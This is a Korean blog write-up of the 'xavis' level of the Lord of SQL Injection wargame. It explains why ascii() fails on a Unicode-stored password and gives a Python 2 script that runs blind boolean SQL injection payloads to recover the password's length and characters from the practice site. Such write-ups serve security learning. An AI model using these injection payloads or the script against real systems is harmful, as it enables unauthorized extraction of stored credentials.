#About


[그림 1] - 문제 화면




#Solution


[그림 2] - 쿼리 1 


length 함수를 통해 pw의 길이를 구할 수 있었으며, 여지껏 8글자 였던 것과 달리 길이가 40이다


[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



[그림 5] - 쿼리 4


쿼리 2~4의 과정에서 모든 값이 0임을 미루어, pw 값이 유니코드로 저장되진 않았을까 하며 아래와 같이 2개의 쿼리를 날려줌으로써 알 수 있었다


[그림 6] - 쿼리 5


[그림 7] - 쿼리 6


쿼리 5를 통해 한 글자당 4바이트를 차지함과, ascii 함수의 특징인, 인수의 가장 왼쪽 문자의 숫자 값을 반환함을 통해 유니코드임을 알 수 있었다


ex ) 4바이트 유니코드 문자 00a1이 있다 가정하면 ascii(00a1) = 00이다 


따라서 쿼리 2~4의 모든 문자들이 00을 반환하므로 pw 를 추측할 수 없게 되므로 ascii가 아닌 ord를 사용하면 문제를 해결할 수 있으며 


아래는 해당 문제를 해결하기 위해 작성한 파이썬 코드이다


# -*- coding:utf-8 -*-

'''
Creator = Loddy
'''

import urllib2

query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"

print "[*] Start Search pw Length "

for len in range(1,100):
url = "http://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw='||length(pw)={}%23".format(str(len))
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)

print "\n",
print "[*] Start Search pw Value"

def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw='||ord(substr(pw,"+str(pw)+",1))={}%23".format(test)
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read

for pw in range(1,11):
for test in range(128,256):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(test) %pw
break



[그림 8] - 코드 결과



[그림 9] - 유니코드 문자 확인


코드 결과에나온 10진수 값을 16진수로 변환 후 위와 같이 입력해주었을 때 유니코드를 확인할 수 있었다


[그림 10] - 문제 해결



'Wargame' 카테고리의 다른 글

[Cresendo] Prefetch Probelm 01  (0) 2017.11.04
[Lord of SQL Injection] Dragon  (0) 2017.11.02
[Lord of SQL Injection] Nightmare  (0) 2017.11.02
[Lord of SQL Injection] Succubus  (0) 2017.11.02
[Lord of SQL Injection] Zombie Assassin  (0) 2017.11.02

+ Recent posts